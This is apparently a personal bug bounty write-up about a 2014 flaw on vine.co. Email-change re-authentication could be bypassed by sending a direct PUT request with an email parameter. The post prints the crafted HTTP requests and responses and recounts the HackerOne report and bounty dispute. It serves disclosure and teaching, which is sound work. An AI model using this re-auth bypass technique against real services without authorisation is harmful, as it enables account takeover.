Today, I’d like to share an old bug I found in 2014 at vine.co.

Introduction

I was exploring Twitter when I saw @0xSobky’s tweet saying that he found an XSS by changing the HTTP method on “vine.co”. At that time, I was hunting bugs there for a while before they started their bug bounty program with Twitter. I was too late because an army of hackers was already looking there, so all the good bugs had already been found. But it’s about thinking outside the box, finding new attacks and new ideas, and outsmarting others.

In 2014, I was 17 years old and very busy with school, so I didn’t have time to do bug bounty hunting all the time, but whenever I took a break, I’d spend it doing some bug bounties. I was familiar with “vine.co”’s platform because I had done some bug hunting there earlier, found some bugs and reported them to Twitter before they even used the Hackerone platform. I got my name in the Hall of Fame.

twitter-xss

The Finding

After opening vine.co and recalling the permissions, features, and mechanisms, I did some XSS, CSRF, and IDOR tests, but to do so. I knew it was time to think outside the box. I wanted to change the email to one that is already registered. I entered the account settings page, where there were a few things I could work with.

twitter-xss

I tried to change the email from abdullah.test1@gmail.com to abdullah.test12@gmail.com just to check the mechanism.

twitter-xss

When I clicked “Save,” this form appeared!

twitter-xss

When I was hunting bugs on vine.co, this form wasn’t there, probably because it was a new feature, and I remembered that I had already suggested to Twitter’s team to make a Re-Auth for the email change mechanism so CSRF and XSS wouldn’t be helpful to change emails like with the Medium XSS. I tried to use this form to brute-force the password; it allowed only 10 or 12 attempts, so it wasn’t vulnerable. Something was attracting me to the request, which looked like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/users/authenticate HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.239.XXX.15
vine-session-id: 1190983260029XXXX84-XXXXXX-XXX-XXXX-bf49-dfc5XXX22196c
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 53
Cookie: ...
Connection: close

action=change-email&username=abdullah.test1%40gmail.com&password=my-pAs*w0rd 

The new email wasn’t included in this request, meaning it was submitted elsewhere. After the correct Re-Auth, this request will be made.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PUT /api/users/1190983260029763584 HTTP/1.1
Host: vine.co
User-Agent: Yours
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.239.XXX.15
vine-session-id: 11909832600XX763584-XXXXX-XXXXX-XXXX-bf49-dfcXX422196c
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 33
Cookie: ...
Connection: close

email=abdullah.test12%40gmail.com

Response:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Cache-Control: private, no-store, must-revalidate
Content-Disposition: attachment; filename=unknown_file.json
Content-Type: application/json
Date: DATE HERE
Expires: 0
Pragma: no-cache
Strict-Transport-Security: max-age=631138519
Content-Length: 54
Connection: Close

{"code": "", "data": {}, "success": true, "error": ""}

I saved this request and tried to compare it to non-Re-Auth actions like setting a new URL to the account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PUT /api/users/1190983260029763584/vanity/hacker123 HTTP/1.1
Host: vine.co
User-Agent: Yours 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.241.XXX.183
vine-session-id: 11909832600297635XX-ac83eaab-XXXX-XXXX-bf49-dfc56422196c
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Cookie: ...
Connection: close
Content-Length: 0

There weren’t any extra headers or tokens between the two HTTP requests. Let’s log out and change the email action using the old request. I logged out and back into the account and made the request using the same endpoint /api/users/1190983260029763584. First, I made an HTTP request to change the URL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PUT /api/users/1190983260029763584/vanity/hacker123 HTTP/1.1
Host: vine.co
User-Agent: Yours 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXX.241.XXX.183
vine-session-id: 11909832600297635XX-ac83eaab-XXXX-XXXX-bf49-dfc56422196c
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Cookie: ...
Connection: close
Content-Length: 0

I added Content-Type into the HTTP header to make the PUT request with a body, changed the API endpoint to /api/users/1190983260029763584, and added a parameter email in the body. The new request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PUT /api/users/1190983260029763584 HTTP/1.1
Host: vine.co
User-Agent: Yours 
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
x-vine-client: vinewww/2.1
x-vine-client-ip: XXx.239.xxx.15
vine-session-id: 1190983260029XXX3584-XXXXX-XXXXX-48ee-bf49-XXXXXXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vine.co/settings
Content-Length: 33
Cookie: ...
Connection: close

email=abdullah.hacker%40gmail.com

This was the response:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Cache-Control: private, no-store, must-revalidate
Content-Disposition: attachment; filename=unknown_file.json
Content-Type: application/json
Date: date 
Expires: 0
Pragma: no-cache
Strict-Transport-Security: max-age=631138519
Content-Length: 54
Connection: Close

{"code": "", "data": {}, "success": true, "error": ""}

The request was accepted without needing a username or password (Re-Auth). The exploit is not a good bypass because an attacker needs physical access to the user account or their cookies. But it’s still a good bypass for this mechanism, and they put it there for a reason, and I bypassed it. Now, it’s time to report it to the Twitter team. Here is a video for PoC:

I wrote the report and sent it to them using the H1 platform. I received the following message the same day: twitter-xss

That was good, but I had to wait for the bounty. This wasn’t the end, as I got this reply two days later: twitter-xss

This reply drove me mad; it didn’t even make any sense. It’s time to write a “RESPECTFUL” reply with more explanation or objection to the decision without using mean words like “taxi driver” or something like “You losers, nobody follows you on your account.” In bug bounties, you should always respect the teams you work with. They don’t have any reason to drop my report. In some cases - it happened to me - they get the wrong idea of the report, sometimes due to their limited experience or an insufficient explanation, browsers, add-ons, etc. I wrote some points; here are a few:

  • I reported a vulnerability in vine.co, so it is not the iOS platform, so any weakness in the iOS app is not even close to my report.
  • Is this a new security style? If you have a weakness in mobile apps, should you also have it on the website?
  • You have a security feature on vine.co, and I bypassed it; how should bug bounties be? A nd a lot more to explain in one reply; the Twitter team was very professional and replied:  twitter-xss

I got my bounty, and Twitter fixed the bug yesterday (after two years!), and everyone is happy :)

Conclusion

Always believe in your skills, behave well with security teams, check the new features, and request endpoints.

That’s it. If you like it or want to ask anything, don’t hesitate to put a comment.

Follow me on Twitter @Abdulahhusam. Thank you for reading it all.